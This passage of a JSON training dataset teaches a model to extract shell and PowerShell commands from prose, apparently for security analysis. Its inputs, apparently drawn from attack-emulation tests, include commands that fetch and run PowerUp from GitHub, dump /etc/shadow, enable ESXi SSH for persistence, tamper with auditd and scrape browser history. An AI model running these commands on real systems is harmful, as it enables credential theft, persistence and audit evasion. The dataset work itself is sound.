    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation copies mail data to a temporary location before deletion, executed via the command:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For emulating changes to auditd configuration files, use the following command sequence: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n",
    "output": "{\"command_list\": [\"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To maintain persistence on an ESXi host, an adversary can enable SSH by running the following command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"vim-cmd hostsvc/enable_ssh\"",
    "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"vim-cmd hostsvc/enable_ssh\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To change the RDP port to a non-standard value, use the following commands in Command Prompt: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f\nnetsh advfirewall firewall add rule name=\"RDPPORTLatest-TCP-In\" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f\\nnetsh advfirewall firewall add rule name=\\\"RDPPORTLatest-TCP-In\\\" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up a root CA, execute these commands to relocate the certificate file and refresh the CA certificates: mv #{cert_filename} /usr/local/share/ca-certificates\nsudo update-ca-certificates",
    "output": "{\"command_list\": [\"mv #{cert_filename} /usr/local/share/ca-certificates\\nsudo update-ca-certificates\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump password files from different systems, use the following command which checks the OS type and retrieves the appropriate files: unamestr=$(uname)\nif [ \"$unamestr\" = 'Linux' ]; then echo -e \"e /etc/passwd\\n,p\\ne /etc/shadow\\n,p\\n\" | ed > #{output_file}; elif [ \"$unamestr\" = 'FreeBSD' ]; then echo -e \"e /etc/passwd\\n,p\\ne /etc/master.passwd\\n,p\\ne /etc/shadow\\n,p\\n\" | ed > #{output_file}; fi",
    "output": "{\"command_list\": [\"unamestr=$(uname)\\nif [ \\\"$unamestr\\\" = 'Linux' ]; then echo -e \\\"e /etc/passwd\\\\n,p\\\\ne /etc/shadow\\\\n,p\\\\n\\\" | ed > #{output_file}; elif [ \\\"$unamestr\\\" = 'FreeBSD' ]; then echo -e \\\"e /etc/passwd\\\\n,p\\\\ne /etc/master.passwd\\\\n,p\\\\ne /etc/shadow\\\\n,p\\\\n\\\" | ed > #{output_file}; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test collects the browsing history from Microsoft Edge by executing this PowerShell command:\n$URL_Regex = '(htt(p|s))://([\\w-]+\\.)+[\\w-]+(/[\\w- ./?%&=]*)*?'\n$History = Get-Content -Path \"#{history_path}\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\n$History | Out-File -FilePath \"#{dest_path}\"",
    "output": "{\"command_list\": [\"$URL_Regex = '(htt(p|s))://([\\\\w-]+\\\\.)+[\\\\w-]+(/[\\\\w- ./?%&=]*)*?'\\n$History = Get-Content -Path \\\"#{history_path}\\\" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique\\n$History | Out-File -FilePath \\\"#{dest_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
